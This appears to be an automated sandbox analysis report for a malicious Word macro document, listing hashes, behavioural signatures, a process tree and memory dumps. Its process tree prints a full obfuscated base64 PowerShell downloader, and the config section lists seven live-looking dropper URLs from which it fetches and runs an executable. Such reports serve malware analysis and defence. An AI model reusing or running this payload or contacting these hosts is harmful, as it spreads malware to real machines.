Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 04:20

General

  • Target

    ef0ec452cdc0556580baec01de9e5508_JaffaCakes118.doc

  • Size

    158KB

  • MD5

    ef0ec452cdc0556580baec01de9e5508

  • SHA1

    f3a1cfa22928d1f6afd42c3353e500e0f98fce35

  • SHA256

    2544f7f03bcb606491b39f0f8cba55899e5e9dd8871128a268329dd6a539f5bf

  • SHA512

    14a3da19f9c3a4c37b60360db46f281aaa5ccab4fd2ac575d8212df0a35054c55971fc702b7b6d742205b4febedd288882e9e02ff14719b91bd4de515b361054

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9OxRiqLE8ct2PU7eXKSSxH5ppJx2FWL:+0rfrzOH98ipgukJx2FWL

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ef0ec452cdc0556580baec01de9e5508_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      d771ff034b71d2a652227b4b7637d9c0

      SHA1

      5e2c6dea152119b59ba1b70180e498058738eb6c

      SHA256

      d9a01f31084ccbe3e8a95b4291bfb17d074389ca3bfcb245aaa99adc8e4816b8

      SHA512

      9cd5b9352d45d43ad4ea2eb5981971d6a7b4f23882e4dd90b9ad57589f2eba980cbedd118ee9d98c4e26a4eb39706a97342d7bb9fbf75e34f5bddd4f165591fc

    • memory/2672-15-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2672-5-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-7-0x0000000005C90000-0x0000000005D90000-memory.dmp

      Filesize

      1024KB

    • memory/2672-6-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-8-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-18-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-22-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-23-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-19-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-17-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-16-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-13-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-12-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-11-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-10-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-9-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-0-0x000000002F691000-0x000000002F692000-memory.dmp

      Filesize

      4KB

    • memory/2672-21-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-2-0x0000000070C8D000-0x0000000070C98000-memory.dmp

      Filesize

      44KB

    • memory/2672-27-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-31-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-32-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-29-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-28-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-24-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-26-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-30-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-33-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-66-0x0000000070C8D000-0x0000000070C98000-memory.dmp

      Filesize

      44KB

    • memory/2672-25-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-45-0x0000000070C8D000-0x0000000070C98000-memory.dmp

      Filesize

      44KB

    • memory/2672-46-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-47-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-48-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2672-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2748-39-0x000000001B600000-0x000000001B8E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2748-40-0x0000000002350000-0x0000000002358000-memory.dmp

      Filesize

      32KB